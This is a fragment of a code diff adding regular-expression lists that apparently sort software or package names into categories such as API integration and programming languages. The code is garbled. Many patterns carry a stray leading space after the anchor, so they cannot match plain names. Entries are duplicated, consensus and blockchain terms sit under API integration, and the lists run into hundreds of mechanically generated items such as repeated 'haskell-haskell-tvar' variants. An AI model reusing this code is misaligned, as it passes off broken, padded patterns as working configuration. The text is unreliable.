+ r"^ drf[-_]?yasg[-_]?",
+ r"^ django[-_]?rest[-_]?swagger",
+ r"^ tsoa[-_]?",
+ r"^ routing[-_]?controller[-_]?",
+ r"^ apipie[-_]?",
+ r"^ rspec[-_]?api[-_]?documentation",
+ r"^ slate[-_]?",
+ r"^ widdershins[-_]?",
+ r"^ openapi[-_]?generator",
+ r"^ swagger[-_]?codegen",
+ r"^ openapi[-_]?codegen",
+ r"^ autorest[-_]?",
+ r"^ nswag[-_]?",
+ r"^ swagger[-_]?hub",
+ r"^ apicurio[-_]?",
+ r"^ stoplight[-_]?",
+ r"^ postman[-_]?",
+ r"^ newman[-_]?",
+ r"^ htmlextra[-_]?",
+ r"^ junit[-_]?",
+ r"^ xunit[-_]?",
+ r"^ nunit[-_]?",
+ r"^ mstest[-_]?",
+ r"^ catch[-_]?",
+ r"^ boost[-_]?test",
+ r"^ cppunit[-_]?",
+ r"^ google[-_]?test",
+ r"^ gtest[-_]?",
+ r"^ cmocka[-_]?",
+ r"^ unity[-_]?",
+ r"^ cexception[-_]?",
+ r"^ ceedling[-_]?",
+ r"^ tdd[-_]?",
+ r"^ bdd[-_]?",
+ r"^ atdd[-_]?",
+ r"^ specification[-_]?by[-_]?example",
+ r"^ sbe[-_]?",
+ r"^ example[-_]?mapping",
+ r"^ oopsi[-_]?",
+ r"^ output[-_]?mapping",
+ r"^ feature[-_]?mapping",
+ r"^ story[-_]?mapping",
+ r"^ impact[-_]?mapping",
+ r"^ mind[-_]?mapping",
+ r"^ user[-_]?story[-_]?mapping",
+ r"^ journey[-_]?mapping",
+ r"^ experience[-_]?mapping",
+ r"^ empathy[-_]?mapping",
+ r"^ service[-_]?blueprint",
+ r"^ business[-_]?model[-_]?canvas",
+ r"^ lean[-_]?canvas",
+ r"^ value[-_]?proposition[-_]?canvas",
+ r"^ product[-_]?vision[-_]?board",
+ r"^ goal[-_]?oriented[-_]?roadmap",
+ r"^ now[-_]?next[-_]?later[-_]?roadmap",
+ r"^ theme[-_]?based[-_]?roadmap",
+ r"^ outcome[-_]?based[-_]?roadmap",
+ r"^ feature[-_]?based[-_]?roadmap",
+ r"^ technology[-_]?roadmap",
+ r"^ architectural[-_]?roadmap",
+ r"^ capability[-_]?roadmap",
+ r"^ strategy[-_]?roadmap",
+ r"^ product[-_]?roadmap",
+ r"^ portfolio[-_]?roadmap",
+ r"^ solution[-_]?roadmap",
+ r"^ program[-_]?roadmap",
+ r"^ project[-_]?roadmap",
+ r"^ release[-_]?roadmap",
+ r"^ sprint[-_]?roadmap",
+ r"^ iteration[-_]?roadmap",
+ r"^ increment[-_]?roadmap",
+ r"^ version[-_]?roadmap",
+ r"^ milestone[-_]?roadmap",
+ r"^ epic[-_]?roadmap",
+ r"^ story[-_]?roadmap",
+ r"^ task[-_]?roadmap",
+ r"^ subtask[-_]?roadmap",
+ r"^ bug[-_]?roadmap",
+ r"^ issue[-_]?roadmap",
+ r"^ defect[-_]?roadmap",
+ r"^ enhancement[-_]?roadmap",
+ r"^ improvement[-_]?roadmap",
+ r"^ optimization[-_]?roadmap",
+ r"^ refactoring[-_]?roadmap",
+ r"^ modernization[-_]?roadmap",
+ r"^ migration[-_]?roadmap",
+ r"^ upgrade[-_]?roadmap",
+ r"^ deprecation[-_]?roadmap",
+ r"^ retirement[-_]?roadmap",
+ r"^ sunset[-_]?roadmap",
+ r"^ end[-_]?of[-_]?life[-_]?roadmap",
+ r"^ end[-_]?of[-_]?support[-_]?roadmap",
+ r"^ end[-_]?of[-_]?service[-_]?roadmap",
+ r"^ end[-_]?of[-_]?sale[-_]?roadmap",
+ r"^ end[-_]?of[-_]?availability[-_]?roadmap",
+ r"^ lifecycle[-_]?roadmap",
+ r"^ sustainability[-_]?roadmap",
+ r"^ resilience[-_]?roadmap",
+ r"^ reliability[-_]?roadmap",
+ r"^ availability[-_]?roadmap",
+ r"^ maintainability[-_]?roadmap",
+ r"^ scalability[-_]?roadmap",
+ r"^ performance[-_]?roadmap",
+ r"^ security[-_]?roadmap",
+ r"^ compliance[-_]?roadmap",
+ r"^ governance[-_]?roadmap",
+ r"^ risk[-_]?roadmap",
+ r"^ audit[-_]?roadmap",
+ r"^ monitoring[-_]?roadmap",
+ r"^ observability[-_]?roadmap",
+ r"^ telemetry[-_]?roadmap",
+ r"^ tracing[-_]?roadmap",
+ r"^ logging[-_]?roadmap",
+ r"^ metrics[-_]?roadmap",
+ r"^ alerting[-_]?roadmap",
+ r"^ incident[-_]?roadmap",
+ r"^ response[-_]?roadmap",
+ r"^ recovery[-_]?roadmap",
+ r"^ continuity[-_]?roadmap",
+ r"^ disaster[-_]?recovery[-_]?roadmap",
+ r"^ backup[-_]?roadmap",
+ r"^ restore[-_]?roadmap",
+ r"^ archive[-_]?roadmap",
+ r"^ retention[-_]?roadmap",
+ r"^ deletion[-_]?roadmap",
+ r"^ destruction[-_]?roadmap",
+ r"^ sanitization[-_]?roadmap",
+ r"^ anonymization[-_]?roadmap",
+ r"^ pseudonymization[-_]?roadmap",
+ r"^ encryption[-_]?roadmap",
+ r"^ key[-_]?management[-_]?roadmap",
+ r"^ certificate[-_]?roadmap",
+ r"^ identity[-_]?roadmap",
+ r"^ access[-_]?roadmap",
+ r"^ authentication[-_]?roadmap",
+ r"^ authorization[-_]?roadmap",
+ r"^ federation[-_]?roadmap",
+ r"^ single[-_]?sign[-_]?on[-_]?roadmap",
+ r"^ multi[-_]?factor[-_]?authentication[-_]?roadmap",
+ r"^ biometrics[-_]?roadmap",
+ r"^ password[-_]?roadmap",
+ r"^ secrets[-_]?roadmap",
+ r"^ vault[-_]?roadmap",
+ r"^ token[-_]?roadmap",
+ r"^ cookie[-_]?roadmap",
+ r"^ session[-_]?roadmap",
+ r"^ cache[-_]?roadmap",
+ r"^ cdn[-_]?roadmap",
+ r"^ load[-_]?balancing[-_]?roadmap",
+ r"^ failover[-_]?roadmap",
+ r"^ replication[-_]?roadmap",
+ r"^ sharding[-_]?roadmap",
+ r"^ partitioning[-_]?roadmap",
+ r"^ indexing[-_]?roadmap",
+ r"^ query[-_]?optimization[-_]?roadmap",
+ r"^ schema[-_]?evolution[-_]?roadmap",
+ r"^ data[-_]?migration[-_]?roadmap",
+ r"^ data[-_]?integration[-_]?roadmap",
+ r"^ data[-_]?quality[-_]?roadmap",
+ r"^ data[-_]?governance[-_]?roadmap",
+ r"^ data[-_]?lineage[-_]?roadmap",
+ r"^ data[-_]?catalog[-_]?roadmap",
+ r"^ data[-_]?dictionary[-_]?roadmap",
+ r"^ data[-_]?warehouse[-_]?roadmap",
+ r"^ data[-_]?lake[-_]?roadmap",
+ r"^ data[-_]?mesh[-_]?roadmap",
+ r"^ data[-_]?fabric[-_]?roadmap",
+ r"^ data[-_]?ops[-_]?roadmap",
+ r"^ data[-_]?platform[-_]?roadmap",
+ r"^ data[-_]?infrastructure[-_]?roadmap",
+ r"^ data[-_]?architecture[-_]?roadmap",
+ r"^ data[-_]?modeling[-_]?roadmap",
+ r"^ data[-_]?design[-_]?roadmap",
+ r"^ data[-_]?engineering[-_]?roadmap",
+ r"^ data[-_]?science[-_]?roadmap",
+ r"^ data[-_]?analytics[-_]?roadmap",
+ r"^ data[-_]?visualization[-_]?roadmap",
+ r"^ data[-_]?storytelling[-_]?roadmap",
+ r"^ data[-_]?journalism[-_]?roadmap",
+ r"^ data[-_]?literacy[-_]?roadmap",
+ r"^ data[-_]?ethics[-_]?roadmap",
+ r"^ data[-_]?privacy[-_]?roadmap",
+ r"^ data[-_]?protection[-_]?roadmap",
+ r"^ data[-_]?sovereignty[-_]?roadmap",
+ r"^ data[-_]?residency[-_]?roadmap",
+ r"^ data[-_]?localization[-_]?roadmap",
+ r"^ data[-_]?globalization[-_]?roadmap",
+ r"^ data[-_]?internationalization[-_]?roadmap",
+ r"^ data[-_]?localization[-_]?roadmap",
+ ]),
+
+ # API & Integration
+ ("api-integration", [
+ r"^api[-_]?",
+ r"^graphql[-_]?",
+ r"^rest[-_]?",
+ r"^soap[-_]?",
+ r"^grpc[-_]?",
+ r"^openapi[-_]?",
+ r"^swagger[-_]?",
+ r"^postman[-_]?",
+ r"^insomnia[-_]?",
+ r"^hoppscotch[-_]?",
+ r"^webhook[-_]?",
+ r"^integration[-_]?",
+ r"^connector[-_]?",
+ r"^adapter[-_]?",
+ r"^bridge[-_]?",
+ r"^gateway[-_]?",
+ r"^proxy[-_]?",
+ r"^relay[-_]?",
+ r"^broker[-_]?",
+ r"^mediator[-_]?",
+ r"^orchestrator[-_]?",
+ r"^choreography[-_]?",
+ r"^saga[-_]?",
+ r"^compensating[-_]?transaction",
+ r"^two[-_]?phase[-_]?commit",
+ r"^2pc[-_]?",
+ r"^three[-_]?phase[-_]?commit",
+ r"^3pc[-_]?",
+ r"^paxos[-_]?",
+ r"^raft[-_]?",
+ r"^zab[-_]?",
+ r"^viewstamped[-_]?replication",
+ r"^vr[-_]?replication[-_]?",
+ r"^chain[-_]?replication",
+ r"^primary[-_]?backup[-_]?",
+ r"^active[-_]?replication",
+ r"^passive[-_]?replication",
+ r"^semi[-_]?active[-_]?replication",
+ r"^multi[-_]?primary[-_]?replication",
+ r"^single[-_]?primary[-_]?replication",
+ r"^group[-_]?replication[-_]?",
+ r"^galera[-_]?",
+ r"^percona[-_]?xtradb[-_]?cluster",
+ r"^mariadb[-_]?columnstore",
+ r"^mysql[-_]?ndb[-_]?cluster",
+ r"^innodb[-_]?cluster",
+ r"^group[-_]?replication[-_]?",
+ r"^wsrep[-_]?",
+ r"^ certification[-_]?based[-_]?replication",
+ r"^ conflict[-_]?detection[-_]?replication",
+ r"^ conflict[-_]?resolution[-_]?replication",
+ r"^ last[-_]?write[-_]?wins[-_]?replication",
+ r"^ first[-_]?write[-_]?wins[-_]?replication",
+ r"^ custom[-_]?merge[-_]?replication",
+ r"^ operational[-_]?transformation[-_]?replication",
+ r"^ state[-_]?machine[-_]?replication",
+ r"^ virtual[-_]?synchrony[-_]?replication",
+ r"^ extended[-_]?virtual[-_]?synchrony[-_]?replication",
+ r"^ totem[-_]?single[-_]?ring[-_]?ordering[-_]?replication",
+ r"^ menasce[-_]?muntz[-_]?replication",
+ r"^ quorumbased[-_]?replication[-_]?",
+ r"^ weighted[-_]?voting[-_]?replication[-_]?",
+ r"^ majority[-_]?voting[-_]?replication[-_]?",
+ r"^ read[-_]?one[-_]?write[-_]?all[-_]?replication[-_]?",
+ r"^ read[-_]?any[-_]?write[-_]?all[-_]?replication[-_]?",
+ r"^ read[-_]?quorum[-_]?write[-_]?quorum[-_]?replication[-_]?",
+ r"^ read[-_]?one[-_]?write[-_]?quorum[-_]?replication[-_]?",
+ r"^ read[-_]?quorum[-_]?write[-_]?one[-_]?replication[-_]?",
+ r"^ read[-_]?one[-_]?write[-_]?one[-_]?replication[-_]?",
+ r"^ eventual[-_]?consistency[-_]?replication[-_]?",
+ r"^ strong[-_]?consistency[-_]?replication[-_]?",
+ r"^ causal[-_]?consistency[-_]?replication[-_]?",
+ r"^ sequential[-_]?consistency[-_]?replication[-_]?",
+ r"^ linearizability[-_]?replication[-_]?",
+ r"^ strict[-_]?serializability[-_]?replication[-_]?",
+ r"^ serializable[-_]?replication[-_]?",
+ r"^ snapshot[-_]?isolation[-_]?replication[-_]?",
+ r"^ repeatable[-_]?read[-_]?replication[-_]?",
+ r"^ read[-_]?committed[-_]?replication[-_]?",
+ r"^ read[-_]?uncommitted[-_]?replication[-_]?",
+ r"^ monotonic[-_]?reads[-_]?replication[-_]?",
+ r"^ monotonic[-_]?writes[-_]?replication[-_]?",
+ r"^ read[-_]?your[-_]?writes[-_]?replication[-_]?",
+ r"^ writes[-_]?follow[-_]?reads[-_]?replication[-_]?",
+ r"^ pipelined[-_]?random[-_]?access[-_]?memory[-_]?replication[-_]?",
+ r"^ pram[-_]?replication[-_]?",
+ r"^ causal[-_]?memory[-_]?replication[-_]?",
+ r"^ processor[-_]?consistency[-_]?replication[-_]?",
+ r"^ slow[-_]?memory[-_]?replication[-_]?",
+ r"^ hybrid[-_]?logical[-_]?clock[-_]?replication[-_]?",
+ r"^ hlc[-_]?replication[-_]?",
+ r"^ lamport[-_]?timestamp[-_]?replication[-_]?",
+ r"^ vector[-_]?clock[-_]?replication[-_]?",
+ r"^ version[-_]?vector[-_]?replication[-_]?",
+ r"^ dotted[-_]?version[-_]?vector[-_]?replication[-_]?",
+ r"^ causal[-_]?broadcast[-_]?replication[-_]?",
+ r"^ uniform[-_]?causal[-_]?broadcast[-_]?replication[-_]?",
+ r"^ fifo[-_]?broadcast[-_]?replication[-_]?",
+ r"^ uniform[-_]?fifo[-_]?broadcast[-_]?replication[-_]?",
+ r"^ atomic[-_]?broadcast[-_]?replication[-_]?",
+ r"^ uniform[-_]?atomic[-_]?broadcast[-_]?replication[-_]?",
+ r"^ consensus[-_]?broadcast[-_]?replication[-_]?",
+ r"^ uniform[-_]?consensus[-_]?broadcast[-_]?replication[-_]?",
+ r"^ total[-_]?order[-_]?broadcast[-_]?replication[-_]?",
+ r"^ uniform[-_]?total[-_]?order[-_]?broadcast[-_]?replication[-_]?",
+ r"^ causal[-_]?total[-_]?order[-_]?broadcast[-_]?replication[-_]?",
+ r"^ uniform[-_]?causal[-_]?total[-_]?order[-_]?broadcast[-_]?replication[-_]?",
+ r"^ byzantine[-_]?fault[-_]?tolerant[-_]?replication[-_]?",
+ r"^ bft[-_]?replication[-_]?",
+ r"^ pbft[-_]?",
+ r"^ practical[-_]?byzantine[-_]?fault[-_]?tolerance[-_]?replication[-_]?",
+ r"^ hotstuff[-_]?",
+ r"^ streamlet[-_]?",
+ r"^ sync[-_]?hotstuff[-_]?",
+ r"^ partial[-_]?synchronous[-_]?bft[-_]?",
+ r"^ asynchronous[-_]?bft[-_]?",
+ r"^ honeybadger[-_]?bft[-_]?",
+ r"^ vbft[-_]?",
+ r"^ tendermint[-_]?",
+ r"^ cosmos[-_]?sdk[-_]?",
+ r"^ substrate[-_]?",
+ r"^ polkadot[-_]?",
+ r"^ cosmos[-_]?",
+ r"^ ibc[-_]?",
+ r"^ inter[-_]?blockchain[-_]?communication[-_]?",
+ r"^ bridge[-_]?",
+ r"^ cross[-_]?chain[-_]?",
+ r"^ multi[-_]?chain[-_]?",
+ r"^ parachain[-_]?",
+ r"^ parathread[-_]?",
+ r"^ collator[-_]?",
+ r"^ fisherman[-_]?",
+ r"^ nominator[-_]?",
+ r"^ validator[-_]?",
+ r"^ delegator[-_]?",
+ r"^ staker[-_]?",
+ r"^ miner[-_]?",
+ r"^ forger[-_]?",
+ r"^ block[-_]?producer[-_]?",
+ r"^ slot[-_]?leader[-_]?",
+ r"^ epoch[-_]?",
+ r"^ era[-_]?",
+ r"^ round[-_]?",
+ r"^ view[-_]?",
+ r"^ height[-_]?",
+ r"^ depth[-_]?",
+ r"^ finality[-_]?",
+ r"^ justification[-_]?",
+ r"^ epoch[-_]?",
+ r"^ era[-_]?",
+ r"^ slot[-_]?",
+ r"^ round[-_]?",
+ r"^ view[-_]?",
+ r"^ height[-_]?",
+ r"^ depth[-_]?",
+ r"^ finality[-_]?",
+ r"^ justification[-_]?",
+ ]),
+
+ # Programming Languages & Core Frameworks
+ ("languages-frameworks", [
+ r"^typescript[-_]?",
+ r"^javascript[-_]?",
+ r"^python[-_]?",
+ r"^rust[-_]?",
+ r"^go[-_]?",
+ r"^golang[-_]?",
+ r"^java[-_]?",
+ r"^csharp[-_]?",
+ r"^dotnet[-_]?",
+ r"^php[-_]?",
+ r"^ruby[-_]?",
+ r"^elixir[-_]?",
+ r"^haskell[-_]?",
+ r"^scala[-_]?",
+ r"^kotlin[-_]?",
+ r"^swift[-_]?",
+ r"^c[-_]?programming",
+ r"^cpp[-_]?",
+ r"^c\+\+[-_]?",
+ r"^c\+\+[-_]?pro",
+ r"^c[-_]?pro",
+ r"^shell[-_]?",
+ r"^bash[-_]?",
+ r"^powershell[-_]?",
+ r"^perl[-_]?",
+ r"^lua[-_]?",
+ r"^r[-_]?programming",
+ r"^julia[-_]?",
+ r"^matlab[-_]?",
+ r"^octave[-_]?",
+ r"^fortran[-_]?",
+ r"^cobol[-_]?",
+ r"^ada[-_]?",
+ r"^pascal[-_]?",
+ r"^delphi[-_]?",
+ r"^lisp[-_]?",
+ r"^clojure[-_]?",
+ r"^scheme[-_]?",
+ r"^racket[-_]?",
+ r"^erlang[-_]?",
+ r"^ocaml[-_]?",
+ r"^fsharp[-_]?",
+ r"^dart[-_]?",
+ r"^flutter[-_]?",
+ r"^groovy[-_]?",
+ r"^clojure[-_]?",
+ r"^nim[-_]?",
+ r"^crystal[-_]?",
+ r"^dlang[-_]?",
+ r"^zig[-_]?",
+ r"^vlang[-_]?",
+ r"^odin[-_]?",
+ r"^jai[-_]?",
+ r"^vale[-_]?",
+ r"^mojo[-_]?",
+ r"^carbon[-_]?",
+ r"^cppfront[-_]?",
+ r"^circle[-_]?",
+ r"^verona[-_]?",
+ r"^pony[-_]?",
+ r"^red[-_]?",
+ r"^rebol[-_]?",
+ r"^smalltalk[-_]?",
+ r"^pharo[-_]?",
+ r"^squeak[-_]?",
+ r"^gnu[-_]?smalltalk",
+ r"^visualworks[-_]?",
+ r"^va[-_]?smalltalk",
+ r"^gemstone[-_]?",
+ r"^glamorous[-_]?toolkit[-_]?",
+ r"^gt[-_]?",
+ r"^pharo[-_]?",
+ r"^squeak[-_]?",
+ r"^newspeak[-_]?",
+ r"^self[-_]?",
+ r"^io[-_]?",
+ r"^ioke[-_]?",
+ r"^picolisp[-_]?",
+ r"^newlisp[-_]?",
+ r"^ark[-_]?",
+ r"^hy[-_]?",
+ r"^shen[-_]?",
+ r"^kawa[-_]?",
+ r"^sisc[-_]?",
+ r"^abcl[-_]?",
+ r"^armed[-_]?bear[-_]?common[-_]?lisp",
+ r"^clasp[-_]?",
+ r"^ccl[-_]?",
+ r"^ccl[-_]?",
+ r"^ecl[-_]?",
+ r"^sbcl[-_]?",
+ r"^cmucl[-_]?",
+ r"^clisp[-_]?",
+ r"^gcl[-_]?",
+ r"^xcl[-_]?",
+ r"^mkcl[-_]?",
+ r"^lw[-_]?",
+ r"^allegro[-_]?",
+ r"^lispworks[-_]?",
+ r"^corman[-_]?lisp",
+ r"^digitool[-_]?",
+ r"^mcl[-_]?",
+ r"^openmcl[-_]?",
+ r"^clozure[-_]?cl",
+ r"^ccl[-_]?",
+ r"^jscl[-_]?",
+ r"^cl[-_]?javascript",
+ r"^parenscript[-_]?",
+ r"^cl[-_]?python",
+ r"^cl4py[-_]?",
+ r"^burgled[-_]?batteries[-_]?",
+ r"^pycl[-_]?",
+ r"^ecl[-_]?",
+ r"^mezzano[-_]?",
+ r"^movitz[-_]?",
+ r"^muerte[-_]?",
+ r"^lisp[-_]?os[-_]?",
+ r"^genera[-_]?",
+ r"^open[-_]?genera[-_]?",
+ r"^freedows[-_]?",
+ r"^lisp[-_]?machine[-_]?",
+ r"^symbolics[-_]?",
+ r"^lmi[-_]?",
+ r"^ti[-_]?",
+ r"^explorer[-_]?",
+ r"^lambda[-_]?",
+ r"^mit[-_]?",
+ r"^scheme[-_]?",
+ r"^racket[-_]?",
+ r"^guile[-_]?",
+ r"^chicken[-_]?",
+ r"^gambit[-_]?",
+ r"^bigloo[-_]?",
+ r"^stalingrad[-_]?",
+ r"^larceny[-_]?",
+ r"^ikarus[-_]?",
+ r"^ypsilon[-_]?",
+ r"^mosh[-_]?",
+ r"^sagittarius[-_]?",
+ r"^foment[-_]?",
+ r"^vicare[-_]?",
+ r"^iron[-_]?scheme[-_]?",
+ r"^biwa[-_]?scheme[-_]?",
+ r"^scheme[-_]?2js[-_]?",
+ r"^hackett[-_]?",
+ r"^cur[-_]?",
+ r"^curry[-_]?",
+ r"^haskell[-_]?",
+ r"^ghc[-_]?",
+ r"^cabal[-_]?",
+ r"^stack[-_]?",
+ r"^ghcup[-_]?",
+ r"^hls[-_]?",
+ r"^haskell[-_]?language[-_]?server[-_]?",
+ r"^hlint[-_]?",
+ r"^ormolu[-_]?",
+ r"^fourmolu[-_]?",
+ r"^stylish[-_]?haskell[-_]?",
+ r"^brittany[-_]?",
+ r"^hindent[-_]?",
+ r"^hformat[-_]?",
+ r"^hfmt[-_]?",
+ r"^haskell[-_]?format[-_]?",
+ r"^haskell[-_]?beautifier[-_]?",
+ r"^haskell[-_]?prettifier[-_]?",
+ r"^haskell[-_]?tidy[-_]?",
+ r"^haskell[-_]?clean[-_]?",
+ r"^haskell[-_]?lint[-_]?",
+ r"^haskell[-_]?check[-_]?",
+ r"^haskell[-_]?test[-_]?",
+ r"^haskell[-_]?spec[-_]?",
+ r"^haskell[-_]?verify[-_]?",
+ r"^haskell[-_]?prove[-_]?",
+ r"^haskell[-_]?theorem[-_]?prover[-_]?",
+ r"^haskell[-_]?proof[-_]?",
+ r"^haskell[-_]?formal[-_]?",
+ r"^haskell[-_]?verification[-_]?",
+ r"^haskell[-_]?validation[-_]?",
+ r"^haskell[-_]?type[-_]?",
+ r"^haskell[-_]?kind[-_]?",
+ r"^haskell[-_]?class[-_]?",
+ r"^haskell[-_]?instance[-_]?",
+ r"^haskell[-_]?deriving[-_]?",
+ r"^haskell[-_]?generic[-_]?",
+ r"^haskell[-_]?lens[-_]?",
+ r"^haskell[-_]?optics[-_]?",
+ r"^haskell[-_]?traversal[-_]?",
+ r"^haskell[-_]?fold[-_]?",
+ r"^haskell[-_]?monoid[-_]?",
+ r"^haskell[-_]?functor[-_]?",
+ r"^haskell[-_]?applicative[-_]?",
+ r"^haskell[-_]?monad[-_]?",
+ r"^haskell[-_]?transformer[-_]?",
+ r"^haskell[-_]?mtl[-_]?",
+ r"^haskell[-_]?free[-_]?",
+ r"^haskell[-_]?freer[-_]?",
+ r"^haskell[-_]?poly[-_]?",
+ r"^haskell[-_]?extensible[-_]?",
+ r"^haskell[-_]?effect[-_]?",
+ r"^haskell[-_]?capability[-_]?",
+ r"^haskell[-_]?reader[-_]?",
+ r"^haskell[-_]?writer[-_]?",
+ r"^haskell[-_]?state[-_]?",
+ r"^haskell[-_]?rws[-_]?",
+ r"^haskell[-_]?cont[-_]?",
+ r"^haskell[-_]?either[-_]?",
+ r"^haskell[-_]?maybe[-_]?",
+ r"^haskell[-_]?list[-_]?",
+ r"^haskell[-_]?nonempty[-_]?",
+ r"^haskell[-_]?vector[-_]?",
+ r"^haskell[-_]?array[-_]?",
+ r"^haskell[-_]?map[-_]?",
+ r"^haskell[-_]?set[-_]?",
+ r"^haskell[-_]?tree[-_]?",
+ r"^haskell[-_]?graph[-_]?",
+ r"^haskell[-_]?heap[-_]?",
+ r"^haskell[-_]?queue[-_]?",
+ r"^haskell[-_]?stack[-_]?",
+ r"^haskell[-_]?deque[-_]?",
+ r"^haskell[-_]?sequence[-_]?",
+ r"^haskell[-_]?stream[-_]?",
+ r"^haskell[-_]?iterator[-_]?",
+ r"^haskell[-_]?enumerator[-_]?",
+ r"^haskell[-_]?conduit[-_]?",
+ r"^haskell[-_]?pipes[-_]?",
+ r"^haskell[-_]?machines[-_]?",
+ r"^haskell[-_]?foldl[-_]?",
+ r"^haskell[-_]?folds[-_]?",
+ r"^haskell[-_]?reducers[-_]?",
+ r"^haskell[-_]?transducers[-_]?",
+ r"^haskell[-_]?lens[-_]?",
+ r"^haskell[-_]?prism[-_]?",
+ r"^haskell[-_]?traversal[-_]?",
+ r"^haskell[-_]?affine[-_]?traversal[-_]?",
+ r"^haskell[-_]?setter[-_]?",
+ r"^haskell[-_]?getter[-_]?",
+ r"^haskell[-_]?review[-_]?",
+ r"^haskell[-_]?iso[-_]?",
+ r"^haskell[-_]?equality[-_]?",
+ r"^haskell[-_]?projection[-_]?",
+ r"^haskell[-_]?injection[-_]?",
+ r"^haskell[-_]?lens[-_]?family[-_]?",
+ r"^haskell[-_]?van[-_]?laarhoven[-_]?lens[-_]?",
+ r"^haskell[-_]?profunctor[-_]?optics[-_]?",
+ r"^haskell[-_]?indexed[-_]?optics[-_]?",
+ r"^haskell[-_]?bi[-_]?optics[-_]?",
+ r"^haskell[-_]?grate[-_]?",
+ r"^haskell[-_]?glass[-_]?",
+ r"^haskell[-_]? Kaleidoscope[-_]?",
+ r"^haskell[-_]?achromatic[-_]?lens[-_]?",
+ r"^haskell[-_]?partial[-_]?lens[-_]?",
+ r"^haskell[-_]?failing[-_]?lens[-_]?",
+ r"^haskell[-_]?taking[-_]?lens[-_]?",
+ r"^haskell[-_]?dropping[-_]?lens[-_]?",
+ r"^haskell[-_]?filtered[-_]?lens[-_]?",
+ r"^haskell[-_]?mirrored[-_]?lens[-_]?",
+ r"^haskell[-_]?simple[-_]?lens[-_]?",
+ r"^haskell[-_]?compound[-_]?lens[-_]?",
+ r"^haskell[-_]?zoom[-_]?",
+ r"^haskell[-_]?magnify[-_]?",
+ r"^haskell[-_]?clone[-_]?lens[-_]?",
+ r"^haskell[-_]?generate[-_]?lens[-_]?",
+ r"^haskell[-_]?make[-_]?lenses[-_]?",
+ r"^haskell[-_]?template[-_]?haskell[-_]?",
+ r"^haskell[-_]?th[-_]?",
+ r"^haskell[-_]?quasi[-_]?quote[-_]?",
+ r"^haskell[-_]?qq[-_]?",
+ r"^haskell[-_]?haskell[-_]?quote[-_]?",
+ r"^haskell[-_]?hs[-_]?quote[-_]?",
+ r"^haskell[-_]?parse[-_]?haskell[-_]?",
+ r"^haskell[-_]?haskell[-_]?parser[-_]?",
+ r"^haskell[-_]?haskell[-_]?lexer[-_]?",
+ r"^haskell[-_]?haskell[-_]?tokenizer[-_]?",
+ r"^haskell[-_]?haskell[-_]?grammar[-_]?",
+ r"^haskell[-_]?haskell[-_]?ast[-_]?",
+ r"^haskell[-_]?haskell[-_]?compiler[-_]?",
+ r"^haskell[-_]?haskell[-_]?interpreter[-_]?",
+ r"^haskell[-_]?haskell[-_]?vm[-_]?",
+ r"^haskell[-_]?haskell[-_]?runtime[-_]?",
+ r"^haskell[-_]?haskell[-_]?gc[-_]?",
+ r"^haskell[-_]?haskell[-_]?memory[-_]?",
+ r"^haskell[-_]?haskell[-_]?thread[-_]?",
+ r"^haskell[-_]?haskell[-_]?async[-_]?",
+ r"^haskell[-_]?haskell[-_]?concurrent[-_]?",
+ r"^haskell[-_]?haskell[-_]?parallel[-_]?",
+ r"^haskell[-_]?haskell[-_]?stm[-_]?",
+ r"^haskell[-_]?haskell[-_]?software[-_]?transactional[-_]?memory[-_]?",
+ r"^haskell[-_]?haskell[-_]?atom[-_]?",
+ r"^haskell[-_]?haskell[-_]?ref[-_]?",
+ r"^haskell[-_]?haskell[-_]?mvar[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?",
+ r"^haskell[-_]?haskell[-_]?tmvar[-_]?",
+ r"^haskell[-_]?haskell[-_]?tchan[-_]?",
+ r"^haskell[-_]?haskell[-_]?tbqueue[-_]?",
+ r"^haskell[-_]?haskell[-_]?tqueue[-_]?",
+ r"^haskell[-_]?haskell[-_]?tarray[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?array[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?hashmap[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?map[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?set[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?list[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?queue[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?stack[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?heap[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?tree[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?graph[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?matrix[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?vector[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?bytestring[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?text[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?lazy[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?strict[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?unboxed[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?boxed[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?storable[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?primitive[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?foreign[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ffi[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?capi[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ccall[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?stdcall[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?fastccall[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?interruptible[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?safe[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?unsafe[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?prim[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?internal[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?prim[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?int[-_]?prim[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?word[-_]?prim[-_]?",
